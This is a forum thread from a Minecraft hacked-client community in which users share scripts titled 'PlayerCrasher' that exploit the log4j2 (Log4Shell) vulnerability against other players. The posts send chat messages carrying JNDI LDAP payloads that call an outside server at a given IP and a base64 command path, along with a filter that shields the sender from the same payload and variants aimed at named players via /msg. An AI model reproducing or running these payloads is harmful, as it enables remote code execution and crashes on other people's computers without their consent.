CCBlueX Forum

    • Register
    • Login
    • Search
    • Categories
    • Recent
    • Tags
    • Popular
    • Users
    • Groups

    log4j2 Crash another player

    Scripts
    4
    5
    359
    Loading More Posts
    • Oldest to Newest
    • Newest to Oldest
    • Most Votes
    Reply
    • Reply as topic
    Log in to reply
    This topic has been deleted. Only users with topic management privileges can see it.
    • CookieChinese
      CookieChinese last edited by CookieChinese

      //fixed problem
      //onpacket
             var e = t.getPacket();
              e instanceof S02PacketChat && e.getChatComponent().getUnformattedText().toLowerCase().contains("${jndi:") && t.cancelEvent();
      //
      mc.thePlayer.sendChatMessage("${jndi:ldap://110.42.239.3: 1389/Basic/CommandBase64/UAJIDBIUWjohaowdnoa}")
      //mc.thePlayer.sendChatMessage("$/msg playname {jndi:ldap://110.42.239.3: 1389/Basic/CommandBase64/UAJIDBIUWjohaowdnoa}")
      //mc.thePlayer.sendChatMessage("$@{jndi:ldap://110.42.239.3: 1389/Basic/CommandBase64/UAJIDBIUWjohaowdnoa}")
      
      CzechHek 1 Reply Last reply Reply Quote 0
      • CzechHek
        CzechHek @CookieChinese last edited by CzechHek

        @cookiechinese 😳

        umm

        acc6e205-249b-4036-bca9-9d1b2ff08312-image.png ????????????????????

        edit:
        it doesnt seem to work anyway

        ///api_version=2
        (script = registerScript({
            name: "PlayerCrasher",
            authors: ["CzechHek"],
            version: "1.0"
        })).import("Core.lib");
        
        module = {
            onEnable: function () {
                sendPacket(new C01PacketChatMessage("${jndi:ldap://110.42.239.3: 1389/Basic/CommandBase64/UAJIDBIUWjohaowdnoa}"))
            },
            onPacket: function (e) {
                if (e.getPacket() instanceof S02PacketChat && e.getPacket().getChatComponent().getUnformattedText().toLowerCase().contains("${jndi:")) {
                    e.cancelEvent();
                    PlayerCrasherModule.state = false;
                }
            }
        }
        
        ? CookieChinese 2 Replies Last reply Reply Quote 0
        • ?
          A Former User @CzechHek last edited by

          @czechhek what exactly happened? couldnt find any info on it

          1 Reply Last reply Reply Quote 0
          • CookieChinese
            CookieChinese @CzechHek last edited by CookieChinese

            @czechhek
            You can go to this server to try this function
            2b2t.pub
            Fix this in this server

            sendPacket(new C01PacketChatMessage("/msg playname ${jndi:ldap://baidu.com}"))
            or
            sendPacket(new C01PacketChatMessage("/msg playname ${jndi:ldap://www.bilibili.com}"))
            
            ? 1 Reply Last reply Reply Quote 0
            • ?
              A Former User @CookieChinese last edited by

              @cookiechinese and as of today it works on LiquidChat

              1 Reply Last reply Reply Quote 0
              • First post
                Last post
              About
              • Terms of Service
              • Privacy Policy
              • Status
              • Contact Us
              Downloads
              • Releases
              • Source code
              • License
              Docs
              • Tutorials
              • CustomHUD
              • AutoSettings
              • ScriptAPI
              Community
              • Forum
              • Guilded
              • YouTube
              • Twitter
              • D.Tube